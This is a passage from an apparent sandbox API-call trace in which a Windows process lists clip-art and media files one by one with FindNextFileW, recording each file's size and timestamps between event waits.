nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0287.417] ResetEvent (hEvent=0x2a0) returned 1 [0287.417] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.827] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0287.827] ResetEvent (hEvent=0x2a0) returned 1 [0287.827] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0287.899] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0287.899] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0287.899] ResetEvent (hEvent=0x2a0) returned 1 [0287.899] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.594] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0288.594] ResetEvent (hEvent=0x2a0) returned 1 [0288.594] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.612] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0288.612] ResetEvent (hEvent=0x2a0) returned 1 [0288.612] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.883] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0288.883] ResetEvent (hEvent=0x2a0) returned 1 [0288.883] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.886] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0288.886] ResetEvent (hEvent=0x2a0) returned 1 [0288.887] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.891] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0288.891] ResetEvent (hEvent=0x2a0) returned 1 [0288.891] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.901] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0288.901] ResetEvent (hEvent=0x2a0) returned 1 [0288.901] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.906] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0288.906] ResetEvent (hEvent=0x2a0) returned 1 [0288.906] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.908] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0288.908] ResetEvent (hEvent=0x2a0) returned 1 [0288.908] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.910] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0288.911] ResetEvent (hEvent=0x2a0) returned 1 [0288.911] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.916] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0288.916] ResetEvent (hEvent=0x2a0) returned 1 [0288.916] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.918] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0288.918] ResetEvent (hEvent=0x2a0) returned 1 [0288.918] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0288.928] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0288.928] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0288.929] ResetEvent (hEvent=0x2a0) returned 1 [0288.929] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0289.053] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0289.054] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0289.054] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0289.054] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0289.054] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0289.054] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0289.054] ResetEvent (hEvent=0x2a0) returned 1 [0289.055] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0289.220] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0289.220] ResetEvent (hEvent=0x2a0) returned 1 [0289.220] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0289.223] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0289.223] ResetEvent (hEvent=0x2a0) returned 1 [0289.223] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0289.225] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0289.225] ResetEvent (hEvent=0x2a0) returned 1 [0289.226] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0289.229] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0289.229] ResetEvent (hEvent=0x2a0) returned 1 [0289.229] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0289.231] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0289.231] ResetEvent (hEvent=0x2a0) returned 1 [0289.231] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0289.233] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0289.233] ResetEvent (hEvent=0x2a0) returned 1 [0289.233] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0289.620] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0289.620] ResetEvent (hEvent=0x2a0) returned 1 [0289.620] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0290.578] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0290.578] ResetEvent (hEvent=0x2a0) returned 1 [0290.578] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0290.582] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0290.582] ResetEvent (hEvent=0x2a0) returned 1 [0290.582] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0290.827] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0290.827] ResetEvent (hEvent=0x2a0) returned 1 [0290.827] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0290.840] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0290.840] ResetEvent (hEvent=0x2a0) returned 1 [0290.840] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0290.906] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0290.906] ResetEvent (hEvent=0x2a0) returned 1 [0290.907] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0291.015] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0291.015] ResetEvent (hEvent=0x2a0) returned 1 [0291.015] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0291.044] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0291.044] ResetEvent (hEvent=0x2a0) returned 1 [0291.044] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0292.165] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0292.165] ResetEvent (hEvent=0x2a0) returned 1 [0292.165] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0292.231] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0292.231] ResetEvent (hEvent=0x2a0) returned 1 [0292.231] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0292.345] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", 